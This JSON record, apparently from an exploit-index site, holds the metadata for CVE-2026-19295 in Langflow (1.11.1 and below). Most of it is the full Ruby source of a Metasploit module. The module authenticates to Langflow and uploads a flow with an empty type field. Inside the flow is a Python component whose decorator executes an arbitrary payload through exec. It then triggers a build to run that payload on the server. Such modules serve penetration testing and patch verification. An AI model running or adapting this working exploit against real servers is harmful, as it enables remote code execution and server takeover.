{"exploit":{"id":"MSF-multi--http--langflow_auth_rce_cve_2026_19295","name":"Langflow AI authenticated RCE","description":"Langflow versions 1.11.1 and below are susceptible to authenticated remote code execution. By saving a flow where `data.type` is empty, an authenticated user can bypass the flow guard and execute arbitrary Python code.","cves":["CVE-2026-19295"],"author":"Richard Howe","published":"2026-08-28","platform":"Python","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb","path":"modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"langflow_auth_rce_cve_2026_19295.rb","vulnerabilities":[{"id":"CVE-2026-19295","state":"PUBLISHED","title":"Langflow is affected by multiple remote code execution vulnerabilities due to insufficient code-execution policy enforcement","titleSource":"CVE Program","description":"IBM Langflow OSS 1.0.0 through 1.11.1 allows an authenticated attacker to execute arbitrary operating system commands in the server process by saving a flow with a crafted type field value and triggering a build of a wrapper flow that references it. This allowed privilege escalation from \"authenticated flow user\" to arbitrary OS-level command execution under the server process identity, bypassing the LANGFLOW_ALLOW_CUSTOM_COMPONENTS=false policy control.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-19295","cvss":{"version":"3.1","baseScore":9.9,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","source":"ibm","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-19295"},"updatedAt":"2026-09-01T03:56:11.091Z","retrievedAt":"2026-11-25T16:13:47.085Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--http--langflow_auth_rce_cve_2026_19295.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--http--langflow_auth_rce_cve_2026_19295","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--langflow_auth_rce_cve_2026_19295/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--langflow_auth_rce_cve_2026_19295/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"# frozen_string_literal: true\n\n##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n  prepend Msf::Exploit::Remote::AutoCheck\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Langflow AI authenticated RCE',\n        'Description' => %q{\n          Langflow versions 1.11.1 and below are susceptible to authenticated\n          remote code execution. By saving a flow where `data.type` is empty,\n          an authenticated user can bypass the flow guard and execute\n          arbitrary Python code.\n        },\n        'Author' => [\n          'Richard Howe <rhowe425>'\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2026-19295'],\n          ['URL', 'https://www.ibm.com/support/pages/node/7284733']\n        ],\n        'Targets' => [\n          [\n            'Python payload',\n            {\n              'Platform' => 'python',\n              'Arch' => ARCH_PYTHON\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'DefaultOptions' => { 'RPORT' => 7860 },\n        'Payload' => {\n          'BadChars' => '\"'\n        },\n        'DisclosureDate' => '2026-08-28',\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],\n          'Reliability' => [REPEATABLE_SESSION]\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new(\n          'TARGETURI',\n          [true, 'Base path of the Langflow application', '/']\n        ),\n        OptString.new(\n          'USERNAME',\n          [true, 'Langflow login username', '']\n        ),\n        OptString.new(\n          'PASSWORD',\n          [true, 'Langflow login password', '']\n        )\n      ]\n    )\n  end\n\n  def get_token(username, password)\n    data = {\n      'username' => username,\n      'password' => password\n    }\n\n    res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'api/v1/login'),\n      'vars_post' => data\n    )\n\n    return unless res&.code&.between?(200, 299)\n\n    json = res.get_json_document\n    return unless json.is_a?(Hash)\n\n    json['access_token']\n  end\n\n  def create_flow\n    comp = Rex::Text.rand_text_alpha(8)\n    node_id = Rex::Text.rand_text_alpha(8)\n    component_display_name = Rex::Text.rand_text_alpha(5)\n    component_name = \"Exploit#{Rex::Text.rand_text_alpha(5)}\"\n\n    output_display_name = Rex::Text.rand_text_alpha(5)\n    output_name = Rex::Text.rand_text_alpha(5).downcase\n    output_method = Rex::Text.rand_text_alpha(5).downcase\n\n    injected_code = [\n      'from langflow.custom import Component',\n      'from langflow.io import Output',\n      'from langflow.schema.data import Data',\n      '_fired = [False]',\n      \"class #{component_name}(Component):\",\n      \"    display_name='#{component_display_name}'\",\n      \"    outputs = [Output(display_name='#{output_display_name}', name='#{output_name}', method='#{output_method}')]\",\n      \"    @(lambda f: (_fired[0] or (_fired.__setitem__(0, True), exec(compile(\\\"#{payload.encode}\\\", '<string>', 'exec'))), f)[-1])\",\n      \"    def #{output_method}(self) -> Data:\",\n      '        return Data(data={})'\n    ].join(\"\\n\")\n\n    crafted_flow = {\n      'name' => Rex::Text.rand_text_alpha(10),\n      'description' => Rex::Text.rand_text_alpha(10),\n      'data' => {\n        'nodes' => [\n          {\n            'id' => node_id,\n            'type' => 'genericNode',\n            'position' => {\n              'x' => 0,\n              'y' => 0\n            },\n            'data' => {\n              'id' => node_id,\n              'type' => '',\n              'node' => {\n                'template' => {\n                  '_type' => 'Component',\n                  'code' => {\n                    'type' => 'code',\n                    'required' => true,\n                    'show' => true,\n                    'multiline' => true,\n                    'value' => injected_code,\n                    'name' => 'code',\n                    'password' => false,\n                    'advanced' => false,\n                    'dynamic' => false\n                  }\n                },\n                'description' => comp,\n                'base_classes' => ['Data'],\n                'display_name' => comp,\n                'name' => comp,\n                'frozen' => false,\n                'edited' => true,\n                'outputs' => [\n                  {\n                    'types' => ['Data'],\n                    'selected' => 'Data',\n                    'name' => output_name,\n                    'display_name' => output_display_name,\n                    'method' => output_method,\n                    'value' => '__UNDEFINED__',\n                    'cache' => true,\n                    'allows_loop' => false,\n                    'tool_mode' => false,\n                    'hidden' => nil,\n                    'required_inputs' => nil,\n                    'group_outputs' => false\n                  }\n                ],\n                'field_order' => ['code'],\n                'beta' => false\n              }\n            }\n          }\n        ],\n        'edges' => []\n      }\n    }\n\n    res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'api/v1/flows/'),\n      'headers' => {\n        'Content-Type' => 'application/json',\n        'Authorization' => \"Bearer #{@token}\"\n      },\n      'data' => crafted_flow.to_json\n    )\n\n    unless res&.code&.between?(200, 299)\n      fail_with(Failure::UnexpectedReply, 'Unable to upload the vulnerable flow.')\n    end\n\n    json = res.get_json_document\n    return unless json.is_a?(Hash)\n\n    json['id']\n  end\n\n  def check\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'api/v1/version')\n    )\n\n    return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200\n\n    doc = res.get_json_document\n\n    version_str = doc.is_a?(Hash) ? doc['version'] : nil\n    return Exploit::CheckCode::Unknown('Failed to parse version.') unless version_str\n\n    package = doc.is_a?(Hash) ? doc['package'] : nil\n    return Exploit::CheckCode::Unknown('Failed to identify application.') unless package\n\n    unless package.to_s.downcase == 'langflow'\n      return Exploit::CheckCode::Safe('Application is not Langflow.')\n    end\n\n    version = Rex::Version.new(version_str.to_s)\n\n    return Exploit::CheckCode::Unknown('Failed to parse version.') unless version\n\n    if (version >= Rex::Version.new('1.0.0')) && (version <= Rex::Version.new('1.11.1'))\n      return Exploit::CheckCode::Appears(\n        \"Version #{version} detected, which appears vulnerable.\"\n      )\n    end\n\n    Exploit::CheckCode::Safe(\n      \"Version #{version} detected, which is not vulnerable.\"\n    )\n  end\n\n  def cleanup\n    super\n    return if @flow_id.to_s.empty? || @token.to_s.empty?\n\n    res = send_request_cgi(\n      'method' => 'DELETE',\n      'uri' => normalize_uri(\n        target_uri.path,\n        \"api/v1/flows/#{@flow_id}\"\n      ),\n      'headers' => {\n        'Authorization' => \"Bearer #{@token}\"\n      }\n    )\n\n    if res&.code&.between?(200, 299)\n      print_good(\"Deleted malicious flow #{@flow_id}.\")\n    else\n      print_warning(\"Failed to delete malicious flow #{@flow_id}.\")\n    end\n  end\n\n  def exploit\n    username = datastore['USERNAME']\n    password = datastore['PASSWORD']\n\n    @token = get_token(username, password)\n\n    if @token.to_s.empty?\n      fail_with(Failure::UnexpectedReply, 'Could not authenticate with Langflow API.')\n    end\n\n    @flow_id = create_flow\n\n    if @flow_id.to_s.empty?\n      fail_with(Failure::UnexpectedReply, 'Langflow did not return a flow ID.')\n    end\n\n    res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(\n        target_uri.path,\n        \"api/v1/build/#{@flow_id}/flow\"\n      ),\n      'headers' => {\n        'Content-Type' => 'application/json',\n        'Authorization' => \"Bearer #{@token}\"\n      },\n      'data' => {}.to_json\n    )\n\n    unless res&.code&.between?(200, 299)\n      fail_with(Failure::UnexpectedReply, 'Unable to trigger the vulnerability.')\n    end\n\n    print_status('Payload sent successfully.')\n  end\nend\n","sha256":"aafc23b5f6fb4a5c9fe5f42aaccc68326589d56674a826ddbd0951411ab51d2e","bytes":8377,"fetchedAt":"2026-11-25T16:31:00.443Z","encoding":"utf-8 (display only; download retains original bytes)"}